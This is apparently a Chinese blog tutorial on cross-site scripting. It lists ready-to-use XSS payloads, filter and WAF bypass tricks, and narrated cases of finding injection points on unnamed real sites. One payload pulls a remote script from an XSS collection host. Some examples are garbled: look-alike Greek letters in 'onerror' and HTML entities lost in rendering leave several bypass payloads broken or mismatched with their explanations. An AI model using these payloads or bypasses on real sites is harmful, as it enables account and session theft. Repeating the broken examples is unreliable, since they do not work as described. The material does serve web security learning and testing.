关注微信公众号获取更多资讯,第一时间学习最新前沿渗透技术!
前言
如果你还对XSS
有些陌生,可以先去看下面这两篇文章,第二篇是连载,可以仔细看一看
XSS总结 - 先知社区
Web安全从零开始-XSS I - Zedd’s Blog
那些年我们一起学XSS
最后一篇文章是精髓,我就是因为看了这篇文章之后XSS
功力突飞猛进
常用的Payload
<script>alert(1)</script>
<script src=https://xsspt.com/VBAhTu></script>
<a href=javascript:alert(1)>xss</a>
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
<img src=https://www.baidu.com/img/bd_logo1.png onload=alert(1)>
<details open ontoggle=alert(1)>
<body onload=alert(1)>
<M onmouseover=alert(1)>M
<iframe src=javascript:alert(1)></iframe>
<iframe onload=alert(1)>
<input type="submit" onfocus=alert(1)>
<input type="submit" onclick=alert(1)>
<form><input type="submit" formaction=javascript:alert(1)>
<!-- 上面这些都是比较常用的,那些不常用的我就没写 -->
Bypass的一些姿势
<!-- 空格被过滤 -->
<img/src="1"/οnerrοr=alert(1)>
<!-- 双写绕过 -->
<iimgmg src=1 oonerrornerror=aimglert(1)>
<!-- 大小写绕过 -->
<iMg src=1 oNerRor=alert(1)>
<!-- 利用eval() -->
<img src=1 onerror="a=`aler`;b=`t(1)`;eval(a+b);">
<img src=1 οnerrοr=eval(atob('YWxlcnQoMSk='))>
<!-- 利用location -->
<img src=1 οnerrοr=location='javascript:%61%6C%65%72%74%28%31%29'>
<img src=1 οnerrοr=location='javascript:\x61\x6C\x65\x72\x74\x28\x31\x29'>
<img src=1 οnerrοr=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
<!-- 括号被过滤 -->
<img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">
<!-- οnerrοr=被过滤 -->
<img src=1 onerror =alert(1)>
<img src=1 onerror
=alert(1)>
<!-- 属性被转换为大写 -->
<img src=1 onerror=alert(1)>
<!-- 编码后被检测 -->
<img src=1 onerror=alert(1)>
<!-- 上面的绕过是比较常见的姿势了,下面将结合实例讲XSS的绕过>
XSS实例及挖掘方法
1.1 某租号平台的三个XSS
首先租号平台肯定有一个发布账号的功能,发布账号就要涉及到用户输入,所以XSS
出现的机率很大,来看看第一个实例。
发布账号后,发现<>"&
都被转义了,以及&
被替换被空,大部分人遇到这种的肯定都会放弃,但是它这里有一点没有处理好
它封面可以设置多张图片,多张图片的链接用|
来分割,我在图片链接当中加了个单引号,没想到这个单引号居然能逃逸双引号的束缚,见下图
接下来就可以利用onload
构造payloade
就好了
第二个实例和第一个实例完全是一模一样,这个租号平台有个手机客户端,在手机客户端中也有一个发布账号的功能,由于后台处理是一样的,所以就多找到一个XSS
,这也是漏洞挖掘的一个思路吧
第三个实例也是手机客户端上的(感觉目前APP的XSS
防御较弱),一个发布动态的功能,同样动态内容中的标签都会被转义了,但是可以插入图片,能插入图片的地方XSS
一般是比较多的
由于它没有对双引号进行转义,所以在引入图片链接的时候,输入双引号会闭合前面的双引号,所以就造成了XSS
1.2 某陪玩平台的一个XSS
也是从APP
入手的,在一个修改地址的地方
修改之后,地址变为了<sc<x>ript>
,并没有直接实体转义,还有机会
在之前对该站的测试中发现,服务器全局将'
和"
替换为空,所以可以利用这个特点来进行绕过
在网页可以看到address
的回显
1.3 某酒店的一个反射XSS
大部分人在URL
中看到参数一般都是想着SQL注入
吧,但还有可能是反射XSS
由于前端并没有对双引号进行转义所以导致了XSS
1.4 bilibili某论坛的一个XSS利用点
虽然最后没有利用好,但是思路还是不错的。先来讲讲思路,在该bilibili论坛,如果你第一次用bilibili账号登陆,他会将你bilibili的个性签名同步到该站,在这过程中它并没有讲bilibili中的个性签名做转义,所以如果利用的好应该能导致XSS
将bilibili的个签改成<img><a>123</a><div></div><svg></svg>
用bilibili账号登陆目标站点后,会同步个性签名,bilibili还是在出口对标签做了过滤<svg>
标签被转义,但是其它的标签并没有被转义
1.5 某旅行网的一个XSS
在修改昵称处,可以输入任意字符
从返回结果来看,将<>
变为空
之前POST
的数据类似json
格式,利用\u003csvg\u003e
成功写入<svg>
,猜测是服务器先对POST
的内容进行检测,再格式化数据,所以使用\u00xx
能成功绕过检测
1.6 APP数据接口中的XSS
一般这种XSS
多出现在APP
、微信小程序
当中,其原理是,服务器未控制返回包中的Content-Type
,导致本来是JSON
格式的数据,会用默认的html
来解析
首先我发布了一条评论,评论的内容为<svg .....>
接下来调用接口来查询发布的评论,可以发现返回的是JSON
数据,而Content-Type
却是text/html
,导致浏览器会解析数据中的标签
而服务器后端使用的是Request
来接收数据的,所以可以把POST
换为GET
,两个缺陷组合在一起也就导致了XSS
对于这种XSS
一般是有一个就有一串,如果返回的数据可控,那么每一个接口都可以是一个XSS
的触发点
1.7 XSS绕WAF的两个实例
第一个例子,在查询框中由于没有对双引号进行转义所以存在反射型XSS
多次测试后发现onload、onclick、onfocus
等一些常用的属性都被WAF
禁了
只能祭出我的绕WAF
万能payload <details open ontoggle=testdemo>
使用ontoggle
属性能绕过WAF
,但是属性的值被转换为大写了,之前说过使用HTML实体编码
可以绕过
将alert(1)
转换为HTML实体编码 alert(1)
转换编码后还是被检测了
这种很好绕,只要将其中一个字符的HTML编码改为�xx
格式WAF
就检测不出来了
第二个例子,跟第一个例子如出一辙,都是没有在输入框对双引号进行转义
WAF
同样也是过滤了onload onclick onfocus
等一些常用属性,这次连我的绕WAF万能payload
都给过滤了
没办法,那只能拿出我的第二个payload <input type=submit formaction=javascript:alert
1>
还是没有绕过去,因为WAF
还过滤了javascript:
跟第一个例子一样,使用HTML实体编码
将javascript:
转换为javascript:
XSS
绕WAF
的关键就是绕过被禁用的属性,平时可以去收集一点冷门的属性,只要绕过被禁用的属性,一般的WAF
就拦不住你了
XSS的总结
首先先要了解该网站的业务,判断哪些地方可能存在XSS
漏洞,比如:发布文章、设置头像、地址、昵称、用户的其它个人资料等,大部分企业都有WEB端
和移动端
,有些移动端
修改的资料,可以显示在WEB端
某个地方且目前移动端
的XSS
防御较弱,我的好多XSS
也都是从移动端
入手的,XSS
也是目前WAF
较难防御的一个点,因为可以有太多变形,WAF
过滤起来是有一定难度的。